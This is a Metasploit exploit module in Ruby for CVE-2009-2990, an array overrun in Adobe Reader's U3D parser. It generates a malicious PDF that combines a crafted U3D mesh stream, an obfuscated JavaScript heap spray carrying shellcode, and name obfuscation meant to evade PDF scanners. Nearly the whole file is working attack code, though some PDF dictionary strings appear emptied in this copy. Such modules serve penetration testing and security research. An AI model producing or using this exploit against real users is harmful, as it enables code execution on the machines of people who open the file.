## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun', 'Description' => %q{ This module exploits an array overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a specially crafted pdf that a contains malformed U3D data, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Felipe Andres Manzano ', 'jduck' ], 'References' => [ [ 'CVE', '2009-2990' ], [ 'OSVDB', '58920' ], [ 'BID', '36665' ], [ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => %w{ win linux }, 'Targets' => [ # test results (on Windows XP SP3) # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - untested # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.2 - works # reader 8.1.3 - works # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 9.0.0 - untested # reader 9.1.0 - works [ 'Adobe Reader Windows Universal (JS Heap Spray)', { 'Index' => 0x01d10000, 'Platform' => 'win', 'Arch' => ARCH_X86, 'escA' => 0x0f0f0f0f, 'escB' => 0x16161616, 'escC' => 0x1c1c1c1c } ], # untested [ 'Adobe Reader Linux Universal (JS Heap Spray)', { 'Index' => 0xfffffe3c, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'escA' => 0x75797959, 'escB' => 0xa2a2a2a2, 'escC' => 0x9c9c9c9c } ] ], 'DisclosureDate' => 'Oct 13 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops = Rex::Text.to_unescape(make_nops(4)) # prepare the pointers! ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch)) ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch)) ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch)) script = <<-EOF var nopz = unescape("#{nops}"); function mkSlice(stringy,size,rest){ while (stringy.length <= size/2) stringy += stringy; stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2); return stringy; }; function spray(escA,escB,escC,escShellcode){ var loop1; var pointersA = unescape(escA); var pointersB = unescape(escB); var pointersC = unescape(escC); var shellcode = unescape(escShellcode); pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length); pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length); pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length); nop_slide = mkSlice(nopz,0x100000, shellcode.length); var xarr = new Array(); for (loop1 = 0; loop1 < 400; loop1++) { if(loop1<100) xarr[loop1] = pointersA_slide+pointersA; else if(loop1<200) xarr[loop1] = pointersB_slide+pointersB; else if(loop1<300) xarr[loop1] = pointersC_slide+pointersC; else xarr[loop1] = nop_slide+shellcode; } return xarr; }; var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}"); this.pageNum = 1; EOF # Obfuscate it up a bit script = obfuscate_js(script, 'Symbols' => { 'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz }, 'Methods' => %W{ mkSlice spray } }).to_s # create the u3d stuff u3d = make_u3d_stream(target['Index'], "E" * 11) # Create the pdf pdf = make_pdf(script, u3d) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def obfuscate_js(javascript, opts) js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) js.obfuscate return js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj\n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def u3d_pad(str, char="\x00") ret = "" if (str.length % 4) > 0 ret << char * (4 - (str.length % 4)) end return ret end def make_u3d_stream(index, meshname) # build the U3D header (length will be patched in later) hdr_data = [1,0].pack('n*') # version info hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV') hdr = "U3D\x00" hdr << [hdr_data.length,0].pack('VV') hdr << hdr_data # mesh declaration decl_data = [meshname.length].pack('v') decl_data << meshname decl_data << [0].pack('V') # chain idx # max mesh desc decl_data << [0].pack('V') # mesh attrs decl_data << [0xc322].pack('V') # face count decl_data << [0x6226].pack('V') # position count decl_data << [0x24966].pack('V') # normal count decl_data << [0].pack('V') # diffuse color count decl_data << [0].pack('V') # specular color count decl_data << [0].pack('V') # texture coord count decl_data << [1].pack('V') # shading count # shading desc decl_data << [0].pack('V') # shading attr decl_data << [1].pack('V') # texture layer count decl_data << [0].pack('V') # texture coord dimensions decl_data << [0].pack('V') # original shading id # minimum resolution decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum) # quality factors decl_data << [0x12c].pack('V') # position quality factor decl_data << [0x12c].pack('V') # normal quality factor decl_data << [0x12c].pack('V') # texture coord quality factor # inverse quantiziation decl_data << [0x3f0b1e6c].pack('V') # position inverse quant decl_data << [0x3b6f05a6].pack('V') # normal inverse quant decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant decl_data << [0x3c2df54a].pack('V') # specular color inverse quant # resource params decl_data << [0x3f666666].pack('V') # normal crease param decl_data << [0x3f000000].pack('V') # normal update param decl_data << [0x3f7c28f6].pack('V') # normal tolerance param # skeleton description decl_data << [0].pack('V') # bone count # padding mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV') mesh_decl << decl_data mesh_decl << u3d_pad(decl_data) # build the modifier chain chain_data = [meshname.length].pack('v') chain_data << meshname chain_data << [1].pack('V') # type (model resource) chain_data << [0].pack('V') # attributes (no bounding info) chain_data << u3d_pad(chain_data) chain_data << [1].pack('V') # number of modifiers chain_data << mesh_decl modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') modifier_chain << chain_data # mesh continuation cont_data = [meshname.length].pack('v') cont_data << meshname cont_data << [0].pack('V') # chain idx cont_data << [0].pack('V') # start resolution cont_data << [0x1000].pack('V') # end resolution # 4096 continuation blocks cont_data << [index].pack('V') # split position index cont_data << [0].pack('v') # new diffuse color count cont_data << [0].pack('v') # new specular color count cont_data << [0].pack('v') # new text coord count cont_data << [0].pack('V') # new face count # unknown data cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76" cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f" cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00" cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44" cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00" cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8" cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20" cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d" cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00" cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53" cont_data << "\xe9\x10\x9d\x6b\x06\x00" cont_data << "\x50" # pad mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV') mesh_cont << cont_data #mesh_cont << u3d_pad(cont_data) mesh_cont << "\xa2\x00" # manual padding data = hdr data << modifier_chain data << mesh_cont # patch the length data[24,4] = [0x2b680].pack('V') # hardcode the data length if index == 0x01d10000 #laziest hack ever! Another index must be found for using the following # stream in windows.. and a lot of tests shoul be done. return data end # linux version # build the U3D header (length will be patched in later) hdr_data = [1,0].pack('n*') # version info hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV') meta_str1 = "alalala0" meta_str2 = "\xa8" * 1024 hdr_meta = [1].pack('V') hdr_meta << [meta_str1.length].pack('v') hdr_meta << meta_str1 hdr_meta << [1].pack('V') hdr_meta << [meta_str2.length].pack('V') hdr_meta << meta_str2 hdr = "U3D\x00" hdr << [hdr_data.length,hdr_meta.length].pack('VV') hdr << hdr_data hdr << hdr_meta hdr << u3d_pad(hdr_meta) # mesh declaration decl_data = [meshname.length].pack('v') decl_data << meshname decl_data << [0].pack('V') # chain idx # max mesh desc decl_data << [0].pack('V') # mesh attrs decl_data << [0xc322].pack('V') # face count decl_data << [0x6626].pack('V') # position count decl_data << [4].pack('V') # normal count decl_data << [0].pack('V') # diffuse color count decl_data << [0].pack('V') # specular color count decl_data << [0].pack('V') # texture coord count decl_data << [1].pack('V') # shading count # shading desc decl_data << [0].pack('V') # shading attr decl_data << [0].pack('V') # texture layer count decl_data << [0].pack('V') # original shading id # no texture coord dimensions decl_data << [0x64].pack('V') # minimum resolution decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum) # quality factors decl_data << [0x12c].pack('V') # position quality factor decl_data << [0x12c].pack('V') # normal quality factor decl_data << [0x12c].pack('V') # texture coord quality factor # inverse quantiziation decl_data << [0].pack('V') # position inverse quant decl_data << [0].pack('V') # normal inverse quant decl_data << [0].pack('V') # texture coord inverse quant decl_data << [0].pack('V') # diffuse color inverse quant decl_data << [0].pack('V') # specular color inverse quant # resource params decl_data << [0].pack('V') # normal crease param decl_data << [0].pack('V') # normal update param decl_data << [0].pack('V') # normal tolerance param # skeleton description decl_data << [0].pack('V') # bone count # padding mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV') mesh_decl << decl_data mesh_decl << u3d_pad(decl_data) # build the modifier chain chain_data = [meshname.length].pack('v') chain_data << meshname chain_data << [1].pack('V') # type (model resource) chain_data << [0].pack('V') # attributes (no bounding info) chain_data << u3d_pad(chain_data) chain_data << [1].pack('V') # number of modifiers chain_data << mesh_decl modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') modifier_chain << chain_data # mesh continuation cont_data = [meshname.length].pack('v') cont_data << meshname cont_data << [0].pack('V') # chain idx cont_data << [0].pack('V') # start resolution cont_data << [0x100].pack('V') # end resolution # 256 continuation blocks cont_data << [index].pack('V') # split position index # unknown data cont_data << [1].pack('V') * 10 cont_data << "Feli" * 20 mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV') mesh_cont << cont_data mesh_cont << u3d_pad(cont_data) data = hdr data << modifier_chain data << mesh_cont # patch the length data[24,4] = [0x174].pack('V') # hardcode the data length return data end def make_pdf(js, u3d_stream) xref = [] eol = "\x0a" obj_end = "" << eol << "endobj" << eol # the header pdf = "%PDF-1.7" << eol # filename/comment pdf << "%" << RandomNonASCIIString(4) << eol # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(1) << nObfu("<>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << obj_end # catalog xref << pdf.length pdf << ioDef(3) << nObfu("<>") pdf << obj_end # outline xref << pdf.length pdf << ioDef(4) << nObfu("<>") pdf << obj_end # kids xref << pdf.length pdf << ioDef(5) << nObfu("<>") pdf << obj_end # u3d stream xref << pdf.length pdf << ioDef(6) << nObfu("<>" % u3d_stream.length) << eol pdf << "stream" << eol pdf << u3d_stream << eol pdf << "endstream" pdf << obj_end # u3d annotation object xref << pdf.length pdf << ioDef(7) << nObfu("<>" pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>") pdf << obj_end # js dict xref << pdf.length pdf << ioDef(8) << nObfu("<>" << obj_end # page 0 (empty) xref << pdf.length pdf << ioDef(9) << nObfu("<>") pdf << obj_end # page 1 (u3d) xref << pdf.length pdf << ioDef(10) << nObfu("<>") pdf << obj_end # xrefs xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end # trailer pdf << "trailer" << eol pdf << nObfu("<>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end